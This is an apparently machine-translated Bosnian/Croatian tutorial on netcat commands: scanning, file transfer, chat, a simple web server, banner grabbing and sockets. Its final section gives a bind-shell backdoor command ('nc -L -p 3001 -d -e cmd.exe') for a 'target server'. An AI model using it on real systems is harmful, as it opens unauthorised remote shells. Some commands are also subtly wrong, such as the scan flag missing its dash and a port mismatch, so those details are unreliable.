8 Netcat (nc) naredba s primjerima


Netcat (ili nc ukratko) je jednostavan, ali moćan mrežni alat komandne linije koji se koristi za izvođenje bilo koje operacije u Linuxu povezane s TCP, < jaki>UDP, ili UNIX-domeni utičnice.

Netcat se može koristiti za skeniranje portova, preusmjeravanje porta, kao slušatelj porta (za dolazne veze); također se može koristiti za otvaranje daljinskih veza i mnogo drugih stvari. Osim toga, možete ga koristiti kao backdoor za pristup ciljnom serveru.

U ovom članku ćemo objasniti naredbe za korištenje Netcat primjerima.

Kako instalirati i koristiti Netcat u Linuxu

Da instalirate netcat paket na vaš sistem, koristite podrazumevani menadžer paketa za vašu distribuciju Linuxa.

yum install nc                  [On CentOS/RHEL]
dnf install nc                  [On Fedora 22+ and RHEL 8]
sudo apt-get install Netcat     [On Debian/Ubuntu]

Nakon što je netcat paket instaliran, možete nastaviti dalje da naučite upotrebu netcat komande u sljedećim primjerima.

Port Scanning

Netcat se može koristiti za skeniranje portova: da se zna koji su portovi otvoreni i pokreću usluge na ciljnoj mašini. Može skenirati jedan ili više ili niz otvorenih portova.

Evo primjera, opcija -z postavlja nc da jednostavno skenira demone za slušanje, bez da im zapravo šalje nikakve podatke. Opcija -v omogućava opširni način rada, a -w specificira vremensko ograničenje za vezu koja se ne može uspostaviti.

nc -v -w 2 z 192.168.56.1 22     #scan a single port
OR
nc -v -w 2 z 192.168.56.1 22 80  #scan multiple ports
OR
nc -v -w 2 z 192.168.56.1 20-25  #scan range of ports

Prijenos datoteka između Linux servera

Netcat vam omogućava prijenos datoteka između dva Linux računara ili servera i oba ova sistema moraju imati instaliran nc.

Na primjer, da biste kopirali datoteku ISO slike sa jednog računara na drugi i nadgledali napredak prijenosa (pomoću pv uslužnog programa), pokrenite sljedeću naredbu na računaru pošiljatelja/servera (gdje postoji ISO datoteka).

Ovo će pokrenuti nc u načinu slušanja (-l flag) na portu 3000.

tar -zcf - debian-10.0.0-amd64-xfce-CD-1.iso  | pv | nc -l -p 3000 -q 5

A na računaru prijemnika/klijenta pokrenite sljedeću naredbu da dobijete datoteku.

nc 192.168.1.4 3000 | pv | tar -zxf -

Kreirajte server za ćaskanje na komandnoj liniji

Također možete koristiti Netcat da trenutno kreirate jednostavan server za razmjenu poruka na komandnoj liniji. Kao iu prethodnom primjeru upotrebe, nc mora biti instaliran na oba sistema koji se koriste za sobu za razgovor.

Na jednom sistemu pokrenite sljedeću naredbu da kreirate chat server koji sluša na portu 5000.

nc -l -vv -p 5000

Na drugom sistemu pokrenite sljedeću naredbu da pokrenete sesiju ćaskanja na mašini na kojoj je pokrenut server za razmjenu poruka.

nc 192.168.56.1 5000

Kreirajte osnovni web server

Sa -l opcijom nc komande koja se koristi za kreiranje osnovnog, nesigurnog web servera koji služi statičkim web datotekama u svrhu učenja. Da biste to demonstrirali, kreirajte datoteku .html kao što je prikazano.

vim index.html

Dodajte sljedeće HTML linije u datoteku.

<html>
        <head>
                <title>Test Page</title>
        </head>
        <body>
                      <p>Serving this file using Netcat Basic HTTP server!</p>
        </body>
</html>

Sačuvajte promjene u datoteci i izađite.

Zatim poslužite gornju datoteku preko HTTP-a tako što ćete pokrenuti sljedeću naredbu, koja će omogućiti da HTTP server radi kontinuirano.


while : ; do ( echo -ne "HTTP/1.1 200 OK\r\n" ; cat index.html; ) | nc -l -p 8080 ; done

Zatim otvorite web pretraživač i možete pristupiti sadržaju koristeći sljedeću adresu.

http://localhost:8080
OR
http://SERVER_IP:8080

Imajte na umu da možete zaustaviti Netcat HTTP server pritiskom na [Ctrl+ C].

Rješavanje problema s vezom Linux servera

Još jedna korisna upotreba Netcat-a je rješavanje problema s vezom na serveru. Ovdje možete koristiti Netcat da provjerite koje podatke server šalje kao odgovor na naredbe koje izdaje klijent.

Sljedeća komanda preuzima početnu stranicu example.com.

printf "GET / HTTP/1.0\r\n\r\n" | nc text.example.com 80

Izlaz gornje naredbe uključuje zaglavlja poslana od strane web servera koja se mogu koristiti u svrhu rješavanja problema.

Pronađite uslugu koja radi na portu

Također možete koristiti Netcat da dobijete port banere. U ovom slučaju, to će vam reći koja usluga radi iza određenog porta. Na primjer, da biste saznali koja vrsta usluge se izvodi iza porta 22 na određenom serveru, pokrenite sljedeću naredbu (zamijenite 192.168.56.110 IP adresom ciljnog servera). Oznaka -n znači onemogućiti DNS ili traženje usluga.

nc -v -n 192.168.56.110 80

Kreirajte Stream Sockets

Netcat takođe podržava kreiranje UNIX-domena stream soketa. Sljedeća naredba će kreirati i slušati na UNIX-domain stream socketu.

nc -lU /var/tmp/mysocket &
ss -lpn | grep "/var/tmp/"

Kreirajte Backdoor

Možete pokrenuti i Netcat kao backdoor. Međutim, to zahtijeva više posla. Ako je Netcat instaliran na ciljnom serveru, možete ga koristiti da kreirate backdoor, da dobijete udaljenu komandnu liniju.

Da biste djelovali kao backdoor, potreban vam je Netcat za slušanje na odabranom portu (npr. port 3001) na ciljnom serveru, a zatim se možete povezati na ovaj port sa svoje mašine na sljedeći način.

Ovo je naredba namijenjena za izvođenje na udaljenom serveru gdje opcija -d onemogućuje čitanje sa stdin-a, a -e specificira naredbu koja se izvodi na ciljnom sistemu.

nc -L -p 3001 -d -e cmd.exe 

Na kraju, ali ne i najmanje važno, Netcat se može koristiti kao proxy za različite usluge/protokole uključujući HTTP, SSH i mnoge druge. Za više informacija pogledajte njegovu man stranicu.

man nc

U ovom članku smo objasnili 8 praktičnih primjera korištenja Netcat naredbi. Ako znate još neke praktične slučajeve upotrebe, podijelite ih s nama putem obrasca za povratne informacije u nastavku. Možete postaviti i pitanje.